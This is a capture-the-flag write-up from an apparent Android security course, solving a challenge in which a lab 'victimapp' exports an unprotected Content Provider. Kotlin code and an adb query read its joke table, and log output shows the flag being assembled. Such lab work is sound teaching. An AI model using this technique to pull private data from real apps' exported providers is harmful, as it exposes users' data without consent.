Challenge description:  
  
*This task will let you play with Content Providers.  
  
The target app exposes a Content Provider. Find all jokes authored by "elosiouk" and concatenate them. That's the flag.  
  
Some partial info on the target app:  
  
======================================================================  
<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="*[*http://schemas.android.com/apk/res/android*](http://schemas.android.com/apk/res/android)*"  
    package="com.example.victimapp">  
    <application  
        android:allowBackup="true"  
        android:icon="@mipmap/ic\_launcher"  
        android:label="@string/app\_name"  
        android:roundIcon="@mipmap/ic\_launcher\_round"  
        android:supportsRtl="true"  
        android:theme="@style/Theme.VictimApp">  
        ....  
        <provider  
            android:name=".MyProvider"  
            android:authorities="com.example.victimapp.MyProvider"  
            android:enabled="true"  
            android:exported="true">  
        </provider>  
    </application>  
</manifest>  
  
======================================================================  
String CREATE\_TABLE =  
                    " CREATE TABLE joke" +  
                            " (id INTEGER PRIMARY KEY AUTOINCREMENT, " +  
                            " author TEXT NOT NULL, " +  
                            " joke TEXT NOT NULL);";  
  
  
======================================================================  
static final String PROVIDER\_NAME = "com.example.victimapp.MyProvider";  
static final String TABLE\_NAME = "joke";  
static final String URL = "content://" + PROVIDER\_NAME + "/" + TABLE\_NAME;  
static final int uriCode = 1;  
  
static final UriMatcher uriMatcher;  
    static{  
        uriMatcher = new UriMatcher(UriMatcher.NO\_MATCH);  
        uriMatcher.addURI(PROVIDER\_NAME, TABLE\_NAME, uriCode);  
    }*

*Useful documentation for solving this challenge:*

*-) Content providers:* [*https://developer.android.com/guide/topics/providers/content-provider-basics*](https://developer.android.com/guide/topics/providers/content-provider-basics)

*-) Package visibility:* [*https://developer.android.com/training/package-visibility/declaring#provider-authority*](https://developer.android.com/training/package-visibility/declaring#provider-authority)

Solution

The challenge text basically tells anything we need to know: call a content provider which will give a list of jokes, inside of those there will be the flag.

Starting from the slides, the logic of retrieving via a cursor data from the ContentResolver revolves around giving the right URI to parse, composed of a list of jokes only if author matches.

Actually, the “joke” part is made by retrieving the right columns inside table, as follows.

package com.example.jokeprovider  
  
import android.net.Uri  
import android.os.Bundle  
import android.util.Log  
import androidx.activity.ComponentActivity  
import java.lang.StringBuilder  
  
class MainActivity : ComponentActivity() {  
 override fun onCreate(savedInstanceState: Bundle?) {  
 super.onCreate(savedInstanceState)  
  
 val contentResolver = *contentResolver* // This is authorized inside the victim app, which is the right package to query  
 val contenturi = Uri.parse("content://com.example.victimapp.MyProvider/joke")  
  
 // Define the tables and data (columns/rows) you want to retrieve (author and joke)  
 val projection = *arrayOf*("author", "joke")  
  
 // Based on first code example here:  
 // https://developer.android.com/guide/topics/providers/content-provider-basics?hl=it#kotlin  
 val cursor = contentResolver.query(contenturi, projection, null, null, null)

Having this projection over data, we retrieve data from cursor only if it exists and we leverage the projection on said “author” and “joke” columns, the converting into string the retrieved data. To do this, we might want to regex the data received, this way we will be able to get data no matter the flag format:

package com.example.jokeprovider  
  
import android.net.Uri  
import android.os.Bundle  
import android.util.Log  
import androidx.activity.ComponentActivity  
import java.lang.StringBuilder  
  
class MainActivity : ComponentActivity() {  
 override fun onCreate(savedInstanceState: Bundle?) {  
 super.onCreate(savedInstanceState)  
  
 // This is authorized inside the victim app, which is the right package to query  
 val contenturi = Uri.parse("content://com.example.victimapp.MyProvider/joke")  
  
 // Define the tables and data (columns/rows) you want to retrieve (author and joke)  
 val projection = *arrayOf*("author", "joke")  
  
 // Specify the selection condition and arguments  
 val selection = "author = ?"  
 val selectionArgs = *arrayOf*("elosiouk")  
  
 // Based on first code example here:  
 // <https://developer.android.com/guide/topics/providers/content-provider-basics?hl=it#kotlin>   
 val cursor = *contentResolver*.query(contenturi, projection, selection, selectionArgs, null)  
 Log.i("MOBIOTSEC", "Cursor count: ${cursor?.*count*}")  
  
 // Check the cursor count before iterating over it  
 if (cursor != null && cursor.*count* > 0) {  
 try {  
 // Use a standard stringBuilder to do the thing  
 val flag = StringBuilder()  
 val authorColumnIndex = cursor.getColumnIndex("author")  
 val jokeColumnIndex = cursor.getColumnIndex("joke")  
 Log.i("MOBIOTSEC", "Retrieved cursor column index: '$authorColumnIndex', '$jokeColumnIndex'")  
  
 while (cursor.moveToNext()) {  
 // Get all columns data  
 val author = cursor.getString(authorColumnIndex)  
 val joke = cursor.getString(jokeColumnIndex)  
 Log.i("MOBIOTSEC", "Author: '$author', Joke: '$joke'")  
  
 if (author.equals("elosiouk")) {  
 flag.append(joke)  
 Log.i("MOBIOTSEC", "Flag composing with jokes: '$flag'")  
 }  
 }  
 // Close the cursor when you are finished with it  
 cursor.close()  
  
 // Extract the flag from the jokes  
 val extractedFlag = extractFlagFromJokes(flag.toString())  
 Log.i("MOBIOTSEC", "Flag extracted: '$extractedFlag'")  
 } catch (e: Exception) {  
 Log.e("MOBIOTSEC", "Error retrieving data from cursor: ${e.message}")  
 }  
 } else {  
 Log.e("MOBIOTSEC", "Error retrieving cursor data")  
 }  
 }  
  
 private fun extractFlagFromJokes(jokes: String): String {  
 val regex = Regex("FLAG\\{(.+?)\\}")  
 val matchResult = regex.find(jokes)  
 return matchResult?.groupValues?.get(1) ?: "Flag not found"  
 }  
}

You can see playing around a bit with terminal how you’re supposed to interact with the ContentResolver, like you can see here:  
  
*> adb shell content query --uri content://com.example.victimapp.MyProvider/joke --projection 'author,joke'*

*Row: 0 author=0NoHtE, joke=mgSehB*

*Row: 1 author=2PUsKU, joke=1Mrj51*

*Row: 2 author=0NoHtE, joke=mgSehB*

*Row: 3 author=2PUsKU, joke=1Mrj51*

*Row: 4 author=2rGjhL, joke=qw3L4C*

*Row: 5 author=3mVGKb, joke=gaRaQG*

*Row: 6 author=4SFNbG, joke=rnMWvZ*

*Row: 7 author=6aTVgl, joke=0vybRn*

*Row: 8 author=8DAowt, joke=7az8oj*

*Row: 9 author=AR2XJM, joke=QYKJwE*

*Row: 10 author=BAC1R3, joke=XWO7ii*

*Row: 11 author=BAFEBq, joke=5IB80Z*

*Row: 12 author=CRAsXY, joke=WZsiMf*

*Row: 13 author=DFFFDm, joke=if9aAa*

*Row: 14 author=EsNTKA, joke=ZpPEBe*

*Row: 15 author=FN8euy, joke=PbNnOS*

*Row: 16 author=FN8euy, joke=UmbXVR*

*Row: 17 author=FvfHHq, joke=W3ao4i*

*Row: 18 author=HqDHF7, joke=70MudB*

*Row: 19 author=IvgUC3, joke=Xh3C4q*

*Row: 20 author=Ky9Sjg, joke=KxTMTl*

*Row: 21 author=LXisay, joke=DD8Sno*

*Row: 22 author=MKdRId, joke=x5llk9*

*Row: 23 author=MScG7g, joke=bXPlED*

*Row: 24 author=NPsxQF, joke=4cIJPr*

*Row: 25 author=OYrIIs, joke=nifYDC*

*Row: 26 author=PP7ioC, joke=sfWQ4k*

*Row: 27 author=QYIf9W, joke=JvT02S*

*Row: 28 author=R5HaSj, joke=onaite*

*Row: 29 author=RpweHL, joke=MIOy0g*

*Row: 30 author=TVxjVS, joke=cEsij0*

*Row: 31 author=U8EYcc, joke=HdzEQo*

*Row: 32 author=UkGlOp, joke=Snilsv*

*Row: 33 author=VY3ebX, joke=5HhIdC*

*Row: 34 author=Vj7gIx, joke=vJAOfv*

*Row: 35 author=WURo1J, joke=Mgyuw7*

*Row: 36 author=YQTQ63, joke=q1wvgZ*

*Row: 37 author=YwqLXH, joke=CKSaDh*

*Row: 38 author=Z8WOEv, joke=4OoEYn*

*Row: 39 author=ZU7Qm4, joke=8kW7WJ*

*Row: 40 author=aTdi4a, joke=tVhP7d*

*Row: 41 author=aZuYVW, joke=bZiFsv*

*Row: 42 author=cCUYtS, joke=trVyOk*

*Row: 43 author=cEj6w7, joke=1Pjj3B*

*Row: 44 author=cX6CO7, joke=Snt9Rd*

*Row: 45 author=ceDKUj, joke=zCvltI*

*Row: 46 author=etUCvw, joke=KLTk6X*

*Row: 47 author=fkZ7b5, joke=9LSmUd*

*Row: 48 author=iFUIbF, joke=ggt5hV*

*Row: 49 author=ilYDs2, joke=Ulx7oa*

*Row: 50 author=imWA8w, joke=igd3x9*

*Row: 51 author=jENbAH, joke=Ojikf7*

*Row: 52 author=jnyVNP, joke=d5aBg3*

*Row: 53 author=kNOh1J, joke=i27u8h*

*Row: 54 author=lZX24Y, joke=3A8aTi*

*Row: 55 author=lvz9p1, joke=4lG7nu*

*Row: 56 author=mNFlDw, joke=sYMlgH*

*Row: 57 author=ne4tcA, joke=MsA91m*

*Row: 58 author=nyMI1z, joke=yEijJ1*

*Row: 59 author=RqPLE, joke=O3jTfG*

*Row: 60 author=elosiouk, joke=FLAG{Homo*

*Row: 61 author=elosiouk, joke=\_faber\_*

*Row: 62 author=elosiouk, joke=fortunae\_*

*Row: 63 author=elosiouk, joke=suae}*

*Row: 64 author=s4ddQd, joke=xwx7on*

*Row: 65 author=s4ddQd, joke=Aa3Sdx*

*Row: 66 author=sx3GNi, joke=9wLFgG*

*Row: 67 author=tw7iTK, joke=JgEO6D*

*Row: 68 author=wzgS7s, joke=cLD1LW*

*Row: 69 author=xKxE5D, joke=wYU4h3*

*Row: 70 author=y59cO1, joke=mxjYsB*

*Row: 71 author=z6fTvN, joke=2nAS26*

Executing the code above, here is the flag retrieved:  
  
*--------- beginning of main*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Cursor count: 4*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Retrieved cursor column index: '0', '1'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Author: 'elosiouk', Joke: 'FLAG{Homo'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Flag composing with jokes: 'FLAG{Homo'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Author: 'elosiouk', Joke: '\_faber\_'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Flag composing with jokes: 'FLAG{Homo\_faber\_'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Author: 'elosiouk', Joke: 'fortunae\_'*

*11-04 22:01:50.542 4270 4270 I MOBIOTSEC: Flag composing with jokes: 'FLAG{Homo\_faber\_fortunae\_'*

*11-04 22:01:50.543 4270 4270 I MOBIOTSEC: Author: 'elosiouk', Joke: 'suae}'*

*11-04 22:01:50.543 4270 4270 I MOBIOTSEC: Flag composing with jokes: 'FLAG{Homo\_faber\_fortunae\_suae}'*

Keep in mind that broadcast receiver is the only component which can get dynamically registered. If it’s already registered inside the Manifest, this is statically registered.